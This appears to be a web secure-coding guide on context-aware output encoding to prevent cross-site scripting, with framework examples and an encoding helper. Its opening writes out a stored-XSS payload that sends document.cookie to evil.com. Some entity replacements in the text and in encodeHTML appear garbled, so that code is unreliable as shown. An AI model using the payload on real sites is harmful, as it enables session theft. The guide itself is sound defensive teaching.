The problem
A user signs up with the display name <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">. Nothing visibly breaks at signup. But as soon as another user opens a page that renders that name into the DOM, the browser parses it as a real image tag, the onerror handler runs, and the victim’s session cookie is sent to an attacker’s server without them clicking anything. That’s cross-site scripting (XSS), and it happens because your application treated the data as a plain string, but gave it to the browser in a place where it was parsed as markup.
The pattern
You need to encode data that comes from users for the specific place it ends up, before you put it into the page. Each context has its own escaping rules. In the HTML body context, encoding converts < to <, > to >, and & to &, so the characters show up as text instead of tags. In the attribute context, it also escapes quotes, so the input can’t break out of the attribute. In the JavaScript context, JSON.stringify turns the input into a quoted, escaped string literal, so raw input never gets concatenated into the code, and < is escaped too, so a </script> inside the value can’t close the script tag. In the URL context, encodeURIComponent stops query values from adding extra parameters or fragments.
Problem
This is called stored XSS, and it’s worse than a one-off attack. The malicious display name is saved in your database, so the script runs again for every user who loads the affected page, without any visible sign, until someone on your team notices and removes the record. One unencoded field in a comment, a bio, a product review, or an uploaded filename can compromise thousands of accounts before anyone files a bug report.
This is hard because “encoding” isn’t one operation. The same string is dangerous in different ways depending on where it’s rendered. In an HTML body, a < opens a tag, and in an attribute value, a " breaks out of the quotes. Inside an inline <script> block, a </script> sequence or a stray quote ends the string and starts new code, and in a URL, an & or # changes the query. If you encode for the wrong context, the page is still open to XSS, even though it looks like you’ve dealt with it.
Solution
React, Vue, and Svelte all auto-escape text bindings by default. If you interpolate a value with {value}, {{ value }}, or {value}, the framework runs it through HTML encoding for you, and attribute bindings like :href or className={...} are escaped too. Escaping stops a value from breaking out of the attribute, but it doesn’t check what kind of URL the value is, so a javascript: URL in an href still runs its script when someone clicks the link. React 19 replaces javascript: URLs with one that throws an error, and earlier versions only logged a warning. Vue, Svelte, and plain DOM assignment pass them straight through, so you need to check the scheme of any URL that comes from a user against an allowlist, such as http: and https:. For most rendering, though, you get the safe version without any extra effort, because it’s the default.
Most of the risk comes from the escape hatches. Each framework has an API that injects raw markup and skips encoding completely, such as React’s dangerouslySetInnerHTML, Vue’s v-html, and Svelte’s {@html}, and the DOM has innerHTML. You might use these to render trusted HTML, such as a CMS article body or sanitized rich text, but they’re also where XSS tends to get in. Using one should be a deliberate decision, and user input should always go through a dedicated sanitizer like DOMPurify before it’s passed to one.
Output encoding is your last line of defense, and it works alongside the validation and sanitization you do when data comes in. A Content Security Policy (CSP) adds another layer, by limiting what an injected script can do if one gets through.
Example
These examples show each framework’s text binding, which is safe by default, next to the unsafe escape hatch, which you should never pass untrusted data to.
Safe Bindings vs Escape Hatches
function Comment({ body, authorUrl }) {
// Safe: React escapes interpolated text and attribute values by default.
// A body of "<script>alert(1)</script>" renders as visible text.
// authorUrl still needs a scheme check (see safeHref below); React 19
// blocks javascript: URLs, but older versions only warn.
return (
<article>
<a href={authorUrl}>Author</a>
<p>{body}</p>
</article>
);
}
// Unsafe: dangerouslySetInnerHTML skips all encoding.
// Only use with sanitized HTML from a trusted source.
function RichComment({ trustedHtml }) {
return <p dangerouslySetInnerHTML={{ __html: trustedHtml }} />;
} <script setup>
defineProps({ body: String, authorUrl: String, trustedHtml: String });
</script>
<template>
<!-- Safe: mustache interpolation and :attr bindings auto-escape.
A javascript: URL in authorUrl still runs, so check its scheme first. -->
<article>
<a :href="authorUrl">Author</a>
<p>{{ body }}</p>
</article>
<!-- Unsafe: v-html injects raw markup with no encoding.
Only bind sanitized, trusted HTML here. -->
<p v-html="trustedHtml" />
</template> <script>
let { body, authorUrl, trustedHtml } = $props();
</script>
<!-- Safe: {value} and attribute bindings are escaped automatically.
A javascript: URL in authorUrl still runs, so check its scheme first. -->
<article>
<a href={authorUrl}>Author</a>
<p>{body}</p>
</article>
<!-- Unsafe: {@html} renders raw markup with no encoding.
Only use with sanitized, trusted HTML. -->
<p>{@html trustedHtml}</p> class CommentCard extends HTMLElement {
set data({ body, authorUrl, trustedHtml }) {
const article = document.createElement('article');
const link = document.createElement('a');
// Safe: textContent treats input as text, never markup.
const p = document.createElement('p');
p.textContent = body;
// Safe: assign attributes via the DOM API, not string concatenation.
// The DOM doesn't block javascript: URLs, so authorUrl needs a scheme check.
link.href = authorUrl;
link.textContent = 'Author';
article.append(link, p);
this.replaceChildren(article);
// Unsafe: innerHTML parses input as HTML and executes handlers.
// this.innerHTML = trustedHtml; // only with sanitized input
}
}
customElements.define('comment-card', CommentCard); Context-Aware Encoding Helper
If you have to build markup or URLs manually, you need to encode each value for the place it ends up. Text going into HTML needs entity escaping, a value going into a URL needs encodeURIComponent, and a whole URL from a user also needs its scheme checked.
// Escape for HTML body and attribute contexts.
// Replace & first so later replacements aren't double-encoded.
function encodeHTML(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Build a safe link: escape the text for HTML, encode the query for URLs.
function searchLink(query) {
const href = `/search?q=${encodeURIComponent(query)}`;
return `<a href="${encodeHTML(href)}">${encodeHTML(query)}</a>`;
}
// URL attributes: escaping doesn't stop a javascript: URL, so allowlist schemes.
function safeHref(url) {
try {
const { protocol } = new URL(url, location.href);
return ['http:', 'https:'].includes(protocol) ? url : '#';
} catch {
return '#';
}
}
// JavaScript context: never concatenate raw input into code.
// JSON.stringify quotes and escapes the string, but leaves < alone,
// so escape it too or a "</script>" in the message closes the tag.
function inlineScript(message) {
const literal = JSON.stringify(message).replace(/</g, '\\u003c');
return `<script>showToast(${literal})<\/script>`;
}
Benefits
- It stops XSS when the page is rendered, because the browser treats user data as text instead of running it as code.
- As a last line of defense, it still protects the page when input validation or sanitization upstream misses something.
- Because frameworks escape values automatically, most rendering is protected without any extra code.
- Encoding for each context covers all the places output can go, which are HTML bodies, attributes, inline scripts, and URLs.
- Encoding also protects against stored XSS, where one unencoded record would otherwise run its script again for each user who views it.
- It works alongside other defenses, such as a CSP, and a sanitizer for the few cases where you have to render real HTML.
- Built-in browser APIs like
textContentandencodeURIComponentdo most of the work, so you don’t need any third-party dependencies.
Tradeoffs
- You have to get the context right, because HTML encoding doesn’t protect a value that ends up in a URL or a script, even though the code looks safe.
- If you encode a value twice,
<becomes&lt;, and users see<on the page instead of<. - A homemade HTML encoder can miss edge cases, such as unquoted attributes and JavaScript URLs, so a well-tested library is safer for anything beyond simple text.
- The escape hatches, which are
dangerouslySetInnerHTML,v-html,{@html}, andinnerHTML, skip all encoding without any warning, and one careless use can let XSS back in. - Encoding can’t help with rich text that has to contain real HTML, so that needs a dedicated sanitizer such as DOMPurify.
- Encoding doesn’t replace input handling or a CSP, and if it’s your only defense, one missed context leaves the page open to XSS.
- Checking a large codebase for missed encoding is tedious, because the unsafe code looks almost the same as the safe code.
Summary
Output encoding escapes user input for the exact place it’s rendered, whether that’s an HTML body, an attribute, JavaScript, or a URL, so the browser shows it as plain text. Framework auto-escaping handles most cases, and using an escape hatch should be a deliberate decision, with the HTML going through a sanitizer first. It’s the last line of defense against XSS, and it only works when you encode correctly for each context.
See also
- Input Sanitization — Security
- Trusted Types — Security
- Content Security Policy (CSP) — Security
- Output Encoding - OWASP
- HTML Encoding - Wikipedia
- XSS Prevention - OWASP